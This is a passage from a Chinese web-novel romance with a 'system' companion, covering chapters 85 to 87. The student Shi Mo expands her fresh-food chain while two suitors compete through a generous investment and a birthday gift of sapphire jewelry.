时墨偏过头看了她一眼。“谢了。” 许文静头也没抬:“不用谢。我说的是事实。而且,你上次帮我讲的斗拱节点,我考试考到了。” 自此,班里再也没人敢当着时墨的面说闲话了,还有了更多同系为时墨抱不平。 “那些人也太过分了!这么说时墨一个女孩子。” “就是!伊恩追求时墨是他自己愿意的,时墨又没逼他!!他送东西是人家的自由,你们管得着吗?” “再说了,时墨根本就不是那种人!你们忘了,上次老师问佛光寺的建造年代,全班就时墨一个人答出来了,还说出了斗拱的具体形制,连教授都夸她专业!” “有些人学习不咋地,编瞎话一个顶俩,有本事参与国家项目去,也写本畅销书,也去修复个古建筑啊!没本事就闭嘴。” “可不是,自己不行,嫉妒别人优秀,就造谣毁谤。我看越是说这话的人,越巴不得伊恩看上的人是她呢!天天趴在窗户上看人家来没来,比时墨还上心!” “我看那些男的也不是好东西,够不上时墨这类优异生,就使劲诋毁呗。好像把她拉到泥里自己就能够得着了似的。酸什么酸。” 渐渐关于时墨的流言少了很多。 谢时昀从母亲苏婉清口中听说这件事的时候,正在家里吃晚饭。 苏婉清夹了一筷子菜,随口说:“时墨最近在学校挺出名,有个英国交换生天天追她,闹得整个学校都知道了。还有个男生为了她,跟别人吵了一架。” 谢时昀拿着筷子的手顿了一下,抬起头:“妈,怎么回事?” 苏婉清把事情的来龙去脉说了一遍,最后叹了口气:“时墨这孩子是个好苗子,就是年纪小,我怕她被那些流言影响了学习。不过那个英国交换生看着倒是挺真诚的,天天风雨无阻的。” 谢时昀没说话,默默地吃完饭,回到了书房。 他坐在书桌前,面前摊着一本建筑杂志,却一个字也看不进去。窗外的月光洒在未名湖上,泛着粼粼的波光,柳树的影子被风吹得晃来晃去。 他把这段时间发生的事,一件一件地在心里过了一遍。 忽然明白了。 他和秦野都犯了同一个错误。 他们都以为时墨清高、淡漠,不食人间烟火,所以他们小心翼翼,不敢表露心意,不敢送贵重的礼物,怕唐突了她,怕惹她反感。 但时墨从来没有说过她不喜欢,是他们替她做了这个判断,然后按照这个判断去行动,走得小心翼翼,自以为是在保护她,其实是在保护自己的胆怯。 时墨不需要这样的方式对待。 她需要的,是直白的心意,是明确的态度,是敢站在她面前,大声说“我喜欢你,我想对你好”的勇气。 伊恩做到了。他把自己的心意捧到她面前,不绕弯子,不玩暧昧,不附加任何条件。他让时墨不用猜,不用揣摩,不用患得患失。 伊恩从一开始就把追求者的位置摆住了。 他毫不遮掩试探,没有“我先当朋友慢慢培养感情”的迂回策略。 而且直接告诉时墨,我喜欢你,我在追求你。 时墨收了他的东西,跟他吃了饭,允许他走进她的院子,不是因为伊恩条件好,不是因为他是外国人,不是因为那些书和礼物,而是因为伊恩不需要她防备猜测。 而他自己呢? 谢时昀靠在椅背上,闭上了眼。 他比时墨大九岁,他从小被教育说话做事要讲究含蓄、讲究分寸、讲究“有些话不必说出口”。 他习惯的方式是——站在旁边,把路让开,把事做了,然后退回去。他觉得这是尊重,是克制,是不让她为难。 可他忘了,爱情从来都不是靠克制得来的。 他不说,她怎么会知道? 难道让时墨猜吗? 该死! 再等下去,她就真的属于别人了! 谢时昀猛地睁开眼,眼神里闪过一丝坚定。 湖面上的月光被风吹碎了一瞬,又重新聚拢。 第二天下午,谢时昀来到时墨院门口。 赵红梅开的门,看见是他,笑着说:“谢同志来了,墨墨在屋里看账本呢,你在椅子上坐会儿,我去叫她。” “不用,我找时墨有事商量。”谢时昀走进院子,走到正屋外敲了敲门,“时墨,是我。” “进。” 时墨听到身后的声音,合上账本,抬起头,笑着问:“谢哥,你怎么来了?” “有点事找你。”谢时昀在她对面坐下,把手里的企划书放在她面前,“这是我做的时记生鲜连锁扩张企划书,你看看。” 时墨有些意外,拿起企划书翻开。 里面写得非常详细,从市场分析、选址标准、供应链整合,到人员培训、品牌推广、财务管理,每一个环节都考虑得面面俱到。甚至连未来五年开多少家分店,每家分店的投资预算和预期收益,都算得清清楚楚。 时墨一页一页地翻下去,翻到最后一页,是投资入股协议。 时墨的目光落在股权分配那一行,瞬间顿住了。 谢时昀提出的入股金额,出资二十万,占股百分之十。 九比一。 时墨把这一页看了两遍,然后合上企划书,抬起头看着谢时昀。 谢时昀以为时墨觉得少,赶紧解释道:“我大部分现金流压在公司了,手里要留一部分备用金,现在只能拿出这些,等我周转过来,会再追加。不是一次性的。” 【宿主!我扫描过了,合同没有任何陷阱,违约责任、退出机制、决策权限、利润分配,所有条款都对你有利!换句话说,他把钱给你,把权给你,把风险留给自己。没有坑。】系统的声音带着震惊,【谢时昀是大善人啊!20万换10%的股份,这买卖傻子都知道亏了!他图什么?】 时墨的手指在企划书封面上轻轻敲了两下。 “谢哥。”时墨的话听不出什么情绪,“你什么意思?做赔本生意?” 谢时昀看着她,眼神温柔而坚定,嘴角勾起一抹浅浅的笑。 风拂过窗边的海棠树,落下几片粉色的花瓣,飘过两人之间。 “我不是在做生意。”他说。 他的目光落在时墨的眼睛里,一字一句,清晰而郑重。 “我在给自己,要一个能站在你身边的位置。”【..top】 85-90 第86章 时墨合上企划书, 推回到谢时昀面前。 她的动作有礼,却带着明显的距离感。 “谢哥,时记能做多大, 我心里有数。有你的资金, 我的扩张计划是会更快。没有, 我慢慢来也一样。”时墨看着他, 眼神平静无波,“我不喜欢被这种‘交换’方式,更不喜欢别人拿生意跟我谈资格。” 谢时昀的心猛地一沉,瞬间意识到自己刚才那句“想站在你身边”说得太急,被时墨误会成了挟恩求报。 “不是的, 墨墨。”他连忙往前倾了倾身子, 语气急切却真诚,连称呼都不自觉地变了, “我不是在跟你做交换, 更不是想用这笔钱买什么。这份企划书我熬了通宵写出来,是因为我真的相信你的眼光, 也相信时记的未来。就算最后钱全亏了, 我也心甘情愿。” 他指着桌上的合同, 认真道:“我刚才那么说, 只是想告诉你我的态度。我不想再只当你口中的‘谢哥’, 看着你一个人扛着所有事。我想站在你身边,跟你一起把这件事做成。不管是生意上的麻烦,还是其他的事, 我都希望能帮你扛着。” 院子里安静了一瞬。 穗穗从门槛上跳下来,叼着时墨的鞋带晃了晃尾巴。玄青趴在廊下,抬眼扫了两人一眼, 又慢悠悠地闭上了眼睛。 时墨看着谢时昀急切的眼神,他眼底的红血丝清晰可见,显然是真的熬了夜。她能看出他的真诚,也知道这二十万在当下意味着什么。 “还有一件事你可能不知道。”时墨忽然说,“‘时记’的控股人是我妈李秀兰,跟我没有直接关系。” 谢时昀几乎没有停顿,立刻道:“没关系。只要受益者是你就行。钱投在时记,就是投在你身上。我信的是你,不是那张营业执照。” 时墨看着他的眼睛里没有一丝犹豫和闪躲,彷佛他早就想好了,只是在等她给他一个机会。 “后续扩张的事你不用操一点心。”谢时昀的语速稳了下来,语气带着沉稳的可靠,“选址、装修、对接供货渠道、跑工商税务这些杂事,全都交给我。你安心读书,安心搞创作。每个阶段的进展我整理成报告,每周跟你汇报一次。所有决策权都在你手里,你觉得行,就往下推;你觉得不行,我立刻就停。哪怕你说不扩张了,把钱全撤回来,我也没一句怨言。” 时墨没有说话,盯着他看了好一会儿。 谢时昀坐在她对面,坦然地迎上她的目光,但搭在膝盖上的手不自觉地蜷起,指节泛白,泄露了他心底的紧张。他怕自己的心意太明显吓到她,又怕自己说得不够清楚,让她误会。 然后时墨忽然笑了一声,伸手拿起那份签着谢时昀名字和手印的合同。 “行。我拿给我妈签字。” 谢时昀得到时墨的准话,悬着的心终于落了地,长舒了一口气,嘴角忍不住上扬。 “对了,墨墨。”他像是忽然想起什么,拿出早就准备好的笔记本,“你明天下午有空吗?崇文门那边有个国营菜站要转让,上下两层三百二十平,带后院能当仓库,位置就在十字路口,人流量特别大。我已经跟房东约好了,明天下午两点看房。” 他特意查过时墨的课表,也摸清了伊恩的课程安排——明天下午伊恩有三节连堂的古代汉语,根本抽不出时间。 时墨想到明天下午没课,点了点头:“可以。下午两点,我在小院门口等你。” “好!”谢时昀心里一阵窃喜,连忙应下。他把笔记本收好,又跟时墨交代了几句装修队的事,才恋恋不舍地走了。 谢时昀走后,时墨坐在条案后面,把企划书又翻开看了一遍。谢时昀确实用了心,连每个区域的水电改造预算都精确到了块,甚至考虑到了冬天的取暖问题。 【宿主。】系统突然冒了出来,语气带着点八卦,【你真答应他了啊?我还以为你会拒绝呢。】 【我答应的是接受他的投资,一起做时记。】 【对对对,接受投资。】系统重复了一遍,把“接受投资”四个字咬得意味深长,【顺便还能有人免费当苦力,跑前跑后不用自己动手,完美符合躺平规则。】 【你再给我阴阳怪气一句,我给你关禁闭一周。】 【呜呜呜,只见新人笑,不闻旧人哭。嘤嘤嘤……】 【……闭嘴。】 【不过说真的,宿主。】系统话锋一转,变得严肃起来,【股权代持的风险你真的要注意。现在规模小还好,等以后开了几十上百家店,资产过巨,万一出点什么事,哭都来不及。】 时墨的手指在企划书封面上轻轻敲了一下:【我知道。但主系统的资金监控只针对我本人的账户。落在我名下,每一笔流水超额都会被冻结,根本没法做生意。现阶段只能这样。】 她之前本打算大学毕业找个能完全掌控的人结婚,钻主系统“夫妻共同财产”的漏洞。谁知道系统查了规则才告诉她,大学期间禁止结婚,必须等拿到毕业证才行。 除非——现在能找到一个心甘情愿把所有资产都转到她名下,还绝对不会背叛的冤大头。 啧,这种冤大头可不好找。 系统察觉到时墨的想法 ,立马道:【宿主,谢时昀不就是现成的冤大头吗!你看他都投资你二十万,还九比一股权分配,损失全他承担!大不了你先跟他谈个恋爱,等毕业了再结婚,完美解决代持问题!】 【我开口就落了下乘。】时墨淡淡道,【再说,二十万和全部身家比起来,人的选择可不一样,历史上有几个皇帝能把皇权完全交出去的?】 【有啊有啊!我给你找……】 【不用找。】时墨打断它,【谢时昀是不是,时间会证明。现在谈这些太早了。】 【哦,好吧。】系统蔫蔫地应了一声。 另一边,伊恩一连三天都没约到时墨,终于发现不对劲了。 他每天中午准时在食堂门口等,下午放学在教学楼门口堵,早上七点就守在小院门口,连时墨的影子都没见到。第四天下午,他干脆逃课在建筑系教学楼的楼梯间蹲了两个小时,终于等到了下课的时墨。 “时墨!”伊恩立刻从楼梯上跳下来,挡在她面前。 他金色的头发被风吹得乱七八糟,鼻尖冻得微微发红,湛蓝色的眼睛里没有质问,只有满满的困惑和委屈,像一只被主人遗弃了的金毛犬,“我这几天都找不到你。你不在教室,不在图书馆,不在家。我早上七点等,你不在;中午十二点等,你不在;下午五点等,你也不在。你去哪里了?” 时墨看了他一眼。 他的衬衫领口沾了点灰尘,显然是蹲楼梯间蹭的,手里还攥着两个还热乎的肉包子,应该是本来打算给她带的午饭。 “我跟朋友去看商铺选址了。” “朋友?”伊恩立刻竖起了耳朵,好奇地追问,“谁呀?我认识吗?男的女的?” “男的,叫谢时昀。”时墨顿了顿,补充道,“你见过的,开学那天在学校门口。” “谢时昀。”伊恩跟着念了一遍这个名字,湛蓝的眼睛里瞬间燃起了警惕的小火苗,“就是那个把你从我身边拉走的人!他是不是也在追求你?” 时墨被他问得哭笑不得:“他是我朋友,也是时记的股东。我们只是在谈生意。” “他是你朋友,我也是你朋友。”伊恩立刻摇头,金色的卷发跟着晃了晃,语气认真得不行,“但我正在努力从朋友变成你的男朋友!他肯定也是这么想的!我看得出来,他看你的眼神跟我一样!” 时墨:“……” 就算知道外国人表达感情直白,她还是被伊恩这毫不掩饰的话震了一下。她要是解释“他没有”,伊恩肯定能追着问一百个“为什么”,不如直接岔开话题。 “对了。”时墨立刻转移了话题,“我最近在筹备开两家分店,覆盖南城和东城。以后可能会引进一些进口的零食和水果,你之前说你认识做外贸的朋友?” “当然!”伊恩立刻把谢时昀抛到了脑后,兴奋地凑上来,眼睛亮晶晶的,“我妈是佳士得的全球董事,我认识很多做国际贸易的朋友!英国的饼干、巧克力,法国的红酒,东南亚的水果,只要你想要,我都能帮你联系到货源!价格绝对比国内便宜!” 时墨心里一动。 她之前确实有过引进进口商品的想法。现在国内物资还相对匮乏,很多进口东西只能在友谊商店买到,而且价格贵得离谱。如果时记能率先卖进口零食和水果,绝对能吸引一大批高端客户,拉开和其他菜市场的差距。 【小七,帮我查一下,国家对外贸的完全开放政策是什么时候?个体商户如果要进口吗?哪些品类能做,哪些不能碰?】 【收到!正在检索外贸相关法规……】系统应得很快,几秒钟后光屏上弹出一份详细的文档。 【宿主,去年□□刚放开国营企业自营出口,但个体商户还不能直接做进口。不过可以通过挂靠国营外贸公司的方式,以“联营”的名义进货。允许进口的品类主要是日用百货、食品、服装,烟酒、汽车、医疗器械这些还不行。】 【预计1992年政策会全面放开,到时候个体商户可以直接申请进出口经营权。我把禁止进口的清单整理好了,红框标出来的绝对不能碰。】 时墨快速扫过清单,心里有了数。【也就是说,现在可以小范围试水。先卖些零食和水果,积累经验和人脉,等政策放开了再大规模做。】 【对!而且伊恩的家族资源太重要了!】系统激动地说,【佳士得的渠道遍布全球,有他帮忙,你能拿到别人拿不到的货源和价格。这可是别人求都求不来的机会!】 【知道了。】 她抬头看向伊恩,笑着说:“好啊。那明天下午我们去看东城的商铺,你也一起来吧。正好跟你说说进口货的事。” “太好了!”伊恩高兴得差点跳起来,一把抱住了时墨的胳膊,“我明天一定准时到!我早上就去你家等你!” 时墨不动声色地把胳膊抽出来:“不用,下午两点在东四路口见就行。” “好!都听你的!”伊恩笑得一脸灿烂,完全没注意到时墨的小动作。 第二天下午,谢时昀准时开车到小院门口接时墨。 他刚停稳车,就看见伊恩风风火火地从胡同另一边冲了过来,跑到时墨身边。 “时墨!我来了!”伊恩擦了擦额头上的汗,笑得一脸灿烂,他今天特意穿了件西装,头发也梳得整整齐齐,还喷了香水,“刚才司机也没听懂我的话,我听里面,他给我停到了外面!” “你要好好学中文。” “我一定努力达到和你用中文沟通!” 谢时昀看到伊恩出现,脸上的笑容瞬间淡了几分,推开车门走下来。 他今天穿了一件深灰色的风衣,身姿挺拔,气质沉稳,和穿着白西装、像个阳光大男孩的伊恩形成了鲜明的对比。 “这位是?”谢时昀看着伊恩,语气客气却带着一丝不易察觉的疏离,眼神里带着审视。 “我是伊恩·霍金斯,时墨的追求者!”伊恩伸出手,湛蓝的眼睛里带着毫不掩饰的敌意,像一只宣示领地的小狮子,“你就是谢时昀吧?我听时墨提起过你。” 谢时昀握住他的手,力道不轻不重,指尖的温度微凉:“你好,谢时昀。时记的股东。” 两人握着手,谁也没有先松开。伊恩用了十足的力气,脸都憋红了一点,谢时昀却面不改色,眼神平静地看着他。过了几秒,谢时昀才缓缓松开手,伊恩的手背已经被捏出了几道红印。 时墨假装没看见两人之间的暗流涌动,率先拉开车门坐进了副驾驶:“走吧,先去东四那边看看。” 谢时昀绕到驾驶座,发动了车子,伊恩哼了一声,坐到了后面。 一路上,车里的气氛微妙得不行。 谢时昀专心开车,时不时跟时墨说几句商铺的情况:“那个铺面之前是国营菜站,水电都是现成的,不用重新改。房东是我爸以前的同事,价格好谈,而且可以签五年的长约,租金每年只涨5%。” “嗯,这个价格很合适。”时墨点了点头,“后院有多大?能放几辆三轮车?” “大概八十平,放五六辆没问题。还能搭个小棚子,当冷库用。” 伊恩坐在后座,也时不时插一句嘴:“时墨,我在英国见过的超市,冷柜都是放在进门的地方,这样顾客一进来就能看到。而且货架要做成开放式的,让顾客自己拿,不用售货员递,这样能省很多人力。” “这个我已经考虑到了。”谢时昀头也不回地说,“货架我已经联系厂家定做了,就是开放式的。冷柜放在进门右手边,跟你说的一样。” 伊恩撇了撇嘴,没再说话。 【宿主!修罗场啊修罗场!】系统兴奋得嗷嗷叫,【谢时昀的心率刚才飙升到142了!伊恩的也有138!这俩人要是打起来,你帮谁?】 【闭嘴。再吵我关你禁闭。】 【呜呜呜好吧。不过你看伊恩,他故意把头往你这凑,谢时昀看见了,一拐弯把他颠后面去了!哈哈哈哈太好笑了!】 时墨:【……】 她假装没看见,转头看向窗外。 到了地方,谢时昀停好车,拿出早就准备好的卷尺和评估表。时墨站在铺子中间,看着宽敞的空间,心里盘算着动线规划。 “冷柜放在这里,”时墨指着进门右手边的位置,“这边放水果和蔬菜,那边放肉类和水产。中间的货架放零食和日用品。后院搭冷库,再隔出一间办公室。” “嗯,我也是这么想的。”谢时昀点点头,拿着卷尺量门头的宽度,“门头可以做个大的灯箱,晚上亮起来特别显眼。我已经找光明美术社设计好了,跟第一家店的风格统一。” 两人正讨论着,伊恩手里拎着三个搪瓷杯跑了回来。 “时墨,我给你买了酸梅汤。”他把其中一杯递给时墨,又从口袋里掏出一块用手帕包着的冰块,小心翼翼地按在杯壁上,“上次你说不吃冰块,也不喜欢太甜,我让老板少放了糖,还特意去旁边的冰棍厂要了一块冰,冰一下更好喝。” 时墨接过酸梅汤,指尖碰到冰凉的杯壁,舒服地眯了眯眼:“谢谢。” 然后伊恩转向谢时昀,把另一杯递过去,脸上挂着无懈可击的笑容:“谢时昀,你也有。我买了三杯。” 谢时昀接过酸梅汤,微微点了一下头,脸上挂着礼貌的微笑:“谢谢。” 他喝了一口,酸梅汤的甜度刚好,确实是时墨喜欢的口味。谢时昀的眼神暗了暗,原来伊恩已经把时墨的喜好摸得这么清楚了。 伊恩喝完酸梅汤,自然地站到了时墨的另一侧,从口袋里掏出一个画满了草图的本子,翻开给她看:“时墨,你看,这是我画的货架布局图。我觉得可以在角落设一个儿童区,放一些小玩具和糖果,这样带孩子的家长就愿意多待一会儿,买的东西也会更多。” 他说话的时候,身体微微倾向时墨的方向,手指在图纸上指指点点,偶尔碰到时墨的袖子也不缩回去,反而故意放慢了动作。 谢时昀站在时墨的另一边,手里拿着评估表,表上的每一项都填得工工整整。伊恩每说一个建议,他就低头在对应的栏目里记一笔,然后在旁边标注“可试行”或“需再议”。 他不打断伊恩,也不反驳,只是偶尔微微侧过身,用手里的卷尺轻轻把伊恩指着图纸的手从时墨肩膀上挡开。动作很轻,像是无意的。但挡了三次之后,伊恩终于抬头看了他一眼。 两个人的目光在时墨身后碰了一下,火花四溅。 伊恩笑了,露出一口洁白的牙齿:“谢时昀,你觉得这个儿童区的想法怎么样?” 谢时昀也笑了,温和却疏离:“想法很好。不过现在我们的主要客户是附近的居民,带孩子的不多。可以先预留出位置,等以后生意好了再做。” “时墨觉得好就行。”伊恩立刻转头看向时墨,眼神亮晶晶的,“时墨,你觉得呢?” “先预留位置吧。”时墨合上图册,“现在最重要的是先把店开起来。其他的以后再说。” “好!都听你的!”伊恩立刻点头,完全无视了谢时昀。 谢时昀的手指在评估表上轻轻划了一下,没说话。 【宿主!他们两个在抢你身边的站位诶!】系统又开始激动,【伊恩想往你左边站,谢时昀不让。现在伊恩往右挪了半步,谢时昀也往右挪了半步。你被围在中间了!】 【你看你看!谢时昀把评估表翻到下一页了,他故意把表举高,挡住了伊恩看你的视线!伊恩又踮脚了!哈哈哈哈太可爱了!】 时墨深吸一口气,在心里默念三遍“不能关系统,它还有用”。 【系统AL-89757。】 【好好好,不说了。】系统安静一秒又说,【你一生气,就叫人家全名,哼。】 从那天起,看选址的队伍固定成了三个人。 谢时昀隔三差五开车来接时墨,伊恩总能“恰好”出现在同一个地方。谢时昀带着卷尺和评估表,伊恩带着酸梅汤和手绘的草图。 两个人站在时墨两边,一个谈成本和风险,一个谈创意和体验,谁也不急,谁也不恼,像冰川下交汇的河水,表面平静,底下全是暗流。 谢时昀说这个铺面门口人流量大,但胡同太窄,货车进不来。伊恩说没关系,可以用三轮车转运,而且胡同里安静,顾客愿意慢慢逛。 谢时昀说京市的冬天冷,露天的摊位没人愿意待。伊恩说可以搭个透明的塑料棚,既保暖又透光。 两个人你一句我一句,观点永远相反,但最后都会看向时墨,等着她做决定。 时墨走在他俩中间,左边是精准到分的预算表,右边是天马行空的创意草图。她看在眼里,却什么也没说,依旧该干嘛干嘛。 反正有人免费帮她想方案、跑手续,何乐而不为。 胡同里的槐树叶子落了一地,踩上去沙沙地响。转眼就到了十一月,时墨的十九岁生日到了。 周三,时墨下午没课。她刚从图书馆出来,就看见秦野站在不远处的梧桐树下。 他看起来瘦了很多,穿着一件军绿色外套,左只手插在兜里,右手拿着一个包装精美的礼物盒,背微微弓着,不知道站了多久。地上落了一层梧桐叶,他脚边的叶子都被踩碎了。 看见时墨出来,他往前迈了一步,又停下来,局促地站在那里,手指紧张地攥着礼物盒的丝带。 时墨看见了他,脚步没停,走到他面前:“秦野,你找我什么事?” “时墨。”秦野的声音有点沙哑,眼神里满是愧疚,“对不起,上次的事是我不对。我不该听那些流言蜚语,更不该跑来质问你。这段时间我反思了很久,你说得对,我越界了。作为朋友,我连最基本的信任都做不到,实在不合格。” 他说到最后声音低了下去,把礼物递过来道:“这是我给你买的生日礼物。希望你能原谅我。以后我不会再犯同样的错误了。” 时墨看着他诚恳的眼神,接过了礼物,盒子很轻,不知道里面装的是什么。 “没关系,我没放在心上。以后别再这样就行了。” “那……”秦野眼睛亮了一下,立刻期待地问,“我能请你吃顿饭吗?就当是我赔罪。” “不了。”时墨摇了摇头,“今晚我得回家跟家里人过生日。” 秦野的眼神瞬间黯了下去,像熄灭了的火苗。他点了点头,勉强笑了一下:“那……那行。你路上慢点。” “嗯。” 时墨转身要走,秦野又喊住了她。 “时墨。” “嗯?” “祝你生日快乐。”他看着冲时墨笑着,祝福道,“希望你永远开心。” “谢谢。” 时墨没有回头,骑着自行车走了。秦野站在原地,看着她的背影消失在路的尽头,才慢慢低下头,看着自己空空的手,自嘲地笑了笑。 他知道,他和时墨之间,永远只能是朋友了。 时墨骑着自行车回了小院。刚拐进胡同,就看见伊恩站在院门口,手里拎着一个大大的蛋糕盒,怀里还抱着一个包装精美的丝绒礼盒。他穿着一件黑色的大衣,围着一条白色的围巾,在暮色里格外显眼。 “时墨!生日快乐!”伊恩看见她,立刻笑着迎了上来,眼睛弯成了月牙。 “你怎么来了?”时墨有些意外。她没跟任何人说过自己的生日。 “我问了杨文静,她说今天是你生日。”伊恩把蛋糕递给她,“这是我特意让王府井饭店的师傅做的奶油蛋糕,上面的海棠花是我亲手画的,你不是最喜欢海棠花吗?还有这个,给你的生日礼物。” “进院说吧。” 时墨推开院门,玄青和穗穗同时扑了上来。穗穗围着她的腿转圈圈,兴奋地叫着。玄青则警惕地看了伊恩一眼,尾巴没有摇,挡在时墨身前,对着伊恩低吼了一声。 “玄青,别闹。”时墨摸了摸玄青的头,“他是客人。” 玄青不情愿地走开了,趴回院门口,眼睛却一直盯着伊恩,只要他有一点靠近时墨的动作,就立刻站起来。 “你的狗不喜欢我。”伊恩蹲下来,小心翼翼地伸出手让玄青闻,“没关系,我会经常来的,总有一天它会喜欢我的。” 时墨没把他让进正屋的待客厅,给他倒了杯热茶。 伊恩把蛋糕放在桌上,然后双手捧着深蓝色的丝绒盒子,站到时墨面前。他的表情忽然变得很认真,认真到连呼吸都放轻了。 “时墨,这是我送你的生日礼物。”他把盒子递过来,湛蓝色的眼睛在灯光里显得格外深邃,“我看到你的第一眼,就想到了它。一定要送给你。” 时墨打开盒子,里面是一整套维多利亚时期的蓝宝石首饰。项链、耳坠、戒指,每一颗宝石都是顶级的矢车菊蓝,在灯光下泛出一种介于蓝和紫之间的幽深光泽,像傍晚最后一刻的天空被凝固在石头里。 镶嵌的工艺是老式的欧洲手工,每一颗宝石周围的碎钻都是手工錾上去的,光从不同角度照过来,会折射出不同层次的光。 项链的搭扣内侧刻着一行花体英文——“To my light”。 时墨把盒子合上,推了回去:“伊恩,这太贵重了,我不能收。” 这一套首饰,放在后世至少值上亿。就算是在现在,也不是普通人能买得起的。 “不贵。”伊恩立刻摇头,又把盒子塞回她手里,语气坚定,“我祖父留给我的,放在银行的保险柜里,它只是一堆冰冷的石头。送给你,它才有意义。这是我的心意,跟钱没关系。” 时墨刚要开口,伊恩又往前迈了一步,眼神里满是真诚:“时墨,我知道你现在不喜欢我。没关系,我可以等。我可以等你一年,两年,十年。我会证明给你看,我比任何人都适合你。” 他的中文不够用了,又切成了英文,声音低沉而深情:“你是我见过的最特别的女孩。你像深夜里的光,照亮了我原本平淡的人生。我想成为那个能站在你身边,陪你一起看遍世界的人。” 时墨张了张嘴,正要说话—— 院门“吱呀”一声被推开了。 两人的目光同时转向院门口。 谢时昀站在门口,一只手还保持着推门的姿势,另一只手里拎着一个长条形的礼盒,还有一个保温桶。 他刚才走到门口,听见了伊恩的告白,就没敲门,站在外面听了一会儿。 他站在门槛外面,院门推开了一半,他的脸被门洞里涌出来的暖黄色灯光照亮了一半,另一半还留在外面的暮色里。 他看到了时墨手里捧着的首饰盒,蓝宝石的光从缝隙里漏出来,在暮色里闪烁着耀眼的火彩。 桌上放着印着海棠花的蛋糕,透明盖子上“时墨生日快乐”几个字被灯光照得清清楚楚。 谢时昀的手指瞬间收紧,指节泛白,保温桶的提手勒得他手心生疼。 他熬了三个通宵,亲手给时墨做了一套古建筑测绘工具,还炖了她最喜欢的银耳莲子羹。他以为自己准备得足够用心了,可在伊恩的蓝宝石首饰面前,显得那么寒酸。 院子里的空气瞬间凝固了。 晚风卷着落叶吹过,发出沙沙的声响。穗穗察觉到气氛不对,躲回了窝里。玄青站了起来,看到是谢时昀又趴了回去。 伊恩先看到了他,脸上绽开一个胜利者的笑容:“谢时昀!你也来了!快进来,今天时墨生日,我们正准备切蛋糕呢!” 时墨看见了门口站着的人,四目相对的那一瞬,谢时昀动了。 他迈过门槛,走进院子,脚步不快不慢,脸上看不出任何情绪。 第87章 谢时昀迈过门槛, 走进院子,脚步不快不慢。 桌上的蛋糕散发着甜腻的奶香,蓝宝石的冷光和暖黄的灯光交织在一起, 映得他眼底的情绪晦暗不明。 谢时昀把手里的锦盒和保温桶轻轻放在桌上, 声音比平时低了半度, 带着一丝不易察觉的沙哑:“墨墨, 生日快乐。” “谢谢谢哥。”时墨合上首饰盒,放在桌上的蛋糕旁。 伊恩的目光在谢时昀脸上停了一瞬,又移到木桌上谢时昀那两样东西上。他的表情没有变化,嘴角还挂着笑,但眼睫微微压低了一点, 依旧礼貌问道:“谢时昀, 你也来给时墨过生日?太好了,我们正好可以一起切蛋糕。” 谢时昀点了点头, 拉开石桌另一侧的木椅坐下。 【宿主!重大发现!】系统突然尖叫起来, 【这套蓝宝石首饰不属于主系统资金监控范围!因为是他人无偿赠与,且不属于你主动获取的经营性收入, 完全不占用你的年度资金额度!换句话说, 你收多少珠宝, 都不触发资金冻结。】 【而且!这是1890年维多利亚女王时期的宫廷定制款, 宝石是克什米尔矢车菊蓝, 现在的市场价至少五十万英镑,属于顶级收藏级别的文物!】 时墨的指尖顿了一下。 五十万英镑,在现在相当于几百万人民币, 完全能买下半条胡同的四合院。足够她直接跳过单店复制阶段,直接搭建覆盖全城的冷链物流体系。 时墨正衡量着收下的利弊。 谢时昀忽然开口了,语气平淡的像是随口一提:“这么贵重的珠宝, 还是祖父留下的,万一以后你家里长辈问起,或者伊恩同学哪天改变主意了,再往回要,反而伤了和气。” 他说得句句在理,全是替时墨着想的口吻。 伊恩的脸一下子涨红了,急得差点站起来:“我祖父说了,留给我的东西我全权处置!送给时墨就是她的,谁也不能要回去!包括我自己!” 他猛地转向时墨,湛蓝的眼睛里满是急切和认真,像怕她不信一样:“时墨,我明天一早就去公证处!写赠与公证书,白纸黑字写清楚,这套首饰永远是你的,我永远不追回!我现在就回去写草稿!” 说着就要往外跑,时墨连忙伸手拉住他的胳膊:“不用这么急,我信你。” “要的要的!”伊恩态度坚决,挣开她的手就要走,“只有写了公证书,你才能彻底放心!我的心意不能让你有半点顾虑!” “伊恩。”时墨加重了语气,“你再这样,我就不收了。” 伊恩的脚步顿住了,转过身委屈地看着她,像一只被训斥的大狗:“可是……” “公证书不用写。”时墨看着他的眼睛,认真道,“我信你这个人。” 这句话比任何承诺都管用。 伊恩的眼睛一下子亮了,开心得原地转了个圈:“太好了!时墨,你终于肯收下了!” 谢时昀坐在旁边,看着伊恩灿烂得刺眼的笑容,手指在膝盖上狠狠攥了一下,指甲嵌进肉里,又慢慢松开。 谢时昀看着时墨把首饰盒放进包里,心脏像是被什么东西狠狠攥了一下,又酸又涩。 他手里的测绘工具盒沉甸甸的,那是他熬了三个通宵,用最好的紫檀木亲手打磨的,每一个刻度都精准到毫米,每一个零件都反复调试过。他原本以为,这份独一无二的心意,足够特别。可在价值连城的蓝宝石面前,终究是显得单薄了。 “对了时墨,”伊恩忽然想起什么,期待地看着她,“你刚才问我生日,是要送我礼物吗?” “嗯。”时墨点头,“等你明年三月十二号生日,我送你一样东西。” “真的吗?!”伊恩激动得差点扑过来,“你送我什么我都喜欢!就算不送,你记得我的生日,我就已经是全世界最幸福的人了!” 伊恩突然看向谢时昀问道:“谢时昀,你送的什么?” 谢时昀把默默拿起桌上的锦盒,推到时墨面前:“打开看看。” 时墨笑着接过,掀开锦盒的盖子,眼睛瞬间亮了。 里面是一套完整的古建筑测绘工具,比例尺、三角板、量角器、铅垂仪,全都是紫檀木做的,手感温润细腻,上面还刻着精致的缠枝莲纹,每一个边角都打磨得光滑圆润。最特别的是那个便携式罗盘,铜皮外壳包着紫檀木,指针精准得纹丝不动,盘面刻着二十四节气和天干地支。 时墨把比例尺拿出来,在手里转了一下。 紫檀木的分量沉甸甸的,握在掌心里,木纹贴着手掌的纹路,凉意从木头里慢慢渗出来,又慢慢被体温捂暖。她抬手比了一个测量的手势,手指卡在刻度上,分毫不差,仿佛这把尺子生来就是为她量身定做的。 “太漂亮了!手感也太好了!”时墨惊喜地抬头,“我托人找了好久都没找到这么好的紫檀木工具,外面卖的都是竹子的,用久了就变形。” “我找木工坊的周师傅一起做的,他家以前专做宫里的御用器物。”谢时昀看着她眼里的惊喜,心里的酸涩终于散了一点,嘴角勾起一抹极淡的笑意,“刻度都是我对着国家标准尺校了三遍,误差不超过0.1毫米……你上次去测绘潭柘寺,说手里的尺子不准,我就想着给你做一套。” 时墨心里一动。那是一个月前的事了,她只是随口提了一句,没想到他记到了现在,还花了这么多心思。 “真的太谢谢你了,谢哥。这份礼物我太喜欢了。” 